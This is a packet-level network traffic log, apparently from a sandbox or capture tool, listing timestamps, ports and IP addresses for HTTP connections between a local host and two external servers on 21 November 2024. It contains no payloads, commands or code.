Nov 21, 2024 14:11:32.464438915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.464517117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.465131998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.465245962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.465291977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.465990067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.466083050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.466146946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.466722012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.466901064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.466928959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.467523098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.467590094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.467643023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.468326092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.468379021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.468437910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.469127893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.469204903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.469232082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.469933987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.470052004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.470088005 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.470124960 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.470150948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.470168114 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.470169067 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.470727921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.470771074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.470814943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.472642899 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.472721100 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.472796917 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.472851038 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.476660013 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.476722956 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.476794958 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.476864100 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.481971025 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.482033014 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.482110023 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.482160091 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.487026930 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.487098932 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.487123966 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.487220049 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.492187977 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.492264986 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.492305994 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.492391109 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.497832060 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.497869968 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.497936964 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.502723932 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.502787113 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.502823114 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.503174067 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.508040905 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.508120060 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.508194923 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.508253098 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.514058113 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.514095068 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.514137030 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.514175892 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.518327951 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.518363953 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.518394947 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.518428087 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.523349047 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.523405075 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.523431063 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.523467064 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.523816109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.532361984 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.532433033 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.533124924 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.533186913 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.535098076 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.535177946 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.535446882 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.535531044 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.542104006 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.542171001 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.542263985 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.542323112 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.547368050 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.547434092 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.547528028 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.547615051 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.552653074 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.552690029 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.552756071 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.552756071 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.557646990 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.557682037 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.557730913 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.557730913 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.563005924 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.563041925 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.563071012 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.563137054 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.568030119 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.568097115 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.568185091 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.568237066 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.573620081 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.573688984 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.573818922 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.573899031 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.580197096 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.580262899 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.622803926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.622860909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.623084068 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.623116970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.623270988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.623950005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.623984098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.624121904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.624802113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.624886990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.625104904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.625299931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.625322104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.625957012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.625991106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.626091003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.626600027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.626780987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.626841068 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.627445936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.627518892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.627576113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.628253937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.628288031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.628312111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.628926992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.629069090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.629179001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.629898071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.629973888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.630049944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.630542994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.630671978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.630769014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.631232977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.631268024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.631304979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.632172108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.632330894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.632411957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.632968903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.633029938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.633127928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.633960009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.634109020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.634227037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.634613037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.634772062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.634859085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.635423899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.635574102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.635576963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.636444092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.636481047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.636579990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.637017965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.637063980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.637212038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.637860060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.638179064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.638303995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.638756037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.638829947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.638884068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.639463902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.639499903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.639535904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.640269995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.640305042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.640419960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.640932083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.641021967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.641102076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.641760111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.641808033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.641870022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.642584085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.642760038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.642854929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.643284082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.643357992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.643435001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.644094944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.644241095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.644354105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.644861937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.644982100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.645042896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.645998955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.646032095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.646109104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.646707058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.646740913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.646855116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.647394896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.647428036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.647517920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.647754908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.647789955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.647824049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.649019957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.649187088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.649256945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.649627924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.649955988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.650099039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.650664091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.650698900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.650784016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.651417971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.651525974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.651638985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.652230024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.652246952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.652352095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.652906895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.653038025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.653062105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.653743029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.653759956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.653829098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.653858900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.653909922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.654006004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.654670954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.654745102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.654787064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.657196999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.657263994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.657331944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658164024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658179998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658194065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658209085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658243895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.658303022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.658577919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658593893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.658652067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.659416914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.659601927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.659712076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.659781933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.659799099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.659895897 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.660214901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.660288095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.660326004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.661026001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.661150932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.661283970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.661851883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.661906004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.662004948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.662632942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.662725925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.662749052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.663412094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.663537979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.663625956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.671293974 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.671351910 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.672610044 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.673315048 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.673477888 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.673537970 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.677691936 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.677791119 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.677854061 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.682010889 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.682074070 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.682219028 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.682285070 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.686170101 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.686240911 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.686263084 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.686315060 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.690172911 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.690232038 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.690299034 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.690350056 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.694192886 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.694324970 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.694381952 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.698174000 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.698326111 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.698395014 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.701945066 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.702030897 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.702088118 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.705636978 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.705697060 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.705715895 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.705913067 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.709381104 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.709434986 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.709542990 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.709845066 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.713089943 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.713150978 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.713211060 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.713263035 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.716846943 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.716922998 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.716929913 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.716979980 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.720558882 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.720617056 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.720783949 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.720832109 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.724287987 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.724340916 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.724360943 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.724432945 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.728068113 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.728136063 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.728229046 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.728281975 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.731787920 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.731837988 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.731880903 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.731924057 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.735519886 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.735578060 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.735661983 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.735714912 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.739232063 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.739279985 CET	49927	80	192.168.2.6	185.215.113.16
